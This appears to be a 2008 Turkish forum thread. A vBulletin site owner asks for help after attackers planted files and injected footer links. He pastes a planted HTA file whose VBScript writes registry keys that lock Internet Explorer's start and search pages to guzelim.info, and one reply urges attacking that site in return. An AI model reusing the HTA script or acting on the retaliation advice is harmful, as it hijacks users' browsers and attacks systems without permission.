• 01-05-2008, 17:16:30
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Arkadaslar Forum Sistemi Kurulu (vbulletin) Bir Kaç Siteme
    clientscript dosya klasörünün içine yui diye bir klasör atılmış
    Daha Sonra Bu Dosyaları Silmeme Rağmen Dosyaları Atan Adam Aynı Şekilde Dosyaları Gene Yerleştirmiş Ama Dosyaların Nerede Oldugunu Bulamadım
    Attıgı Dosyalar Internet Explorer Başlangıç Sayfasını guzelim.info diye bir adrese değiştirilememek üzere ayarlıyor.

    Lütfen yardım edin arkadaşlar.


    Klasörün içerisinde şu dosyalar var


    hits.html application dosyasının içerisindede şu kodlar mevcut
    ana sayfayı guzelim.info diye bir site yaptırtıyor.
    <html><head>
    <hta:application id=hta_note_id
     applicationName=hta_note_name
     showInTaskBar=no
     caption=no
     innerBorder=no
     selection=no
     scroll=no
     contextmenu=no />
    <script language=javascript>
    window.resizeTo(0, 0);
    window.moveTo(0, 0);
    </script>
     
     
    <SCRIPT language=vbs>
    self.MoveTo 0, 0
    Set shell = CreateObject("WScript.Shell")
      shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
      shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
      shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Search Bar", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Search Page", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Local Page", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Components\0\\Source", "http://www.guzelim.info","REG_SZ"
      shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Components\0\\SubscribedURL", "http://www.guzelim.info","REG_SZ"
    self.Close
    </SCRIPT>
     
     
    </head>
    </body>
    </html>
  • 01-05-2008, 21:28:57
    #2
    Üyeliği durduruldu
    Bulduğum tüm saldırı araçları ile o siteye saldır
  • 01-05-2008, 22:43:53
    #3
    Platin üye
    Nasıl yapıldıgı konusunda bir tahminim yok fakat clientscript klasörünün içinde yui klasörü orjinal olarak geliyor ve içeriği şu şekilde
  • 03-05-2008, 21:46:45
    #4
    Allahım Kafayı Yiyeceğim Yaa Bu Seferde Footer'a Link İnclude Etmişler (Başka Bir Sitem)

    Arkadaslar aramızda yokmu iyi server güvenliğinden anlayan birisi Allah rızası için yardım yaa

    Atılan Linkler
    Zamansız
    Findomestic
    Worldbank
    To BankAmerica
    Zamansız
    Yüklü Paylaşım
  • 03-05-2008, 21:56:08
    #5
    sunucuoptimizasyon.com
    server linuxse yardımcı olayım
  • 03-05-2008, 22:00:47
    #6
    Evet Linux
  • 03-05-2008, 22:05:15
    #7
    Üyeliği durduruldu
    NoNeTheLeSs adlı üyeden alıntı: mesajı görüntüle
    Allahım Kafayı Yiyeceğim Yaa Bu Seferde Footer'a Link İnclude Etmişler (Başka Bir Sitem)
    Arkadaslar aramızda yokmu iyi server güvenliğinden anlayan birisi Allah rızası için yardım yaa
    Atılan Linkler
    Zamansız
    Findomestic
    Worldbank
    To BankAmerica
    Zamansız
    Yüklü Paylaşım
    yalnizca.com bu sitenin sahiplerinin böyle bişi yapacaklarını hiç ummuyordum
  • 03-05-2008, 22:07:26
    #8
    sunucuoptimizasyon.com
    server bilgilerinizi pm ile gönderirseniz duruma bakabilirim
  • 03-05-2008, 22:08:13
    #9
    Erol adlı üyeden alıntı: mesajı görüntüle
    yalnizca.com bu sitenin sahiplerinin böyle bişi yapacaklarını hiç ummuyordum
    Hocam atılan linkler bunlar tanıyorsan benimle bir görüştür bakalım.
    Bunu yaparak ne elde ediyorlar bi sor sorustur acıgımız ne onu örgenelim link almak istiyorlarsa ben gene vereyim linki ama acıkları kapatalım.
    Böyle yaparak bi yere varılmaz ki ayıp yaa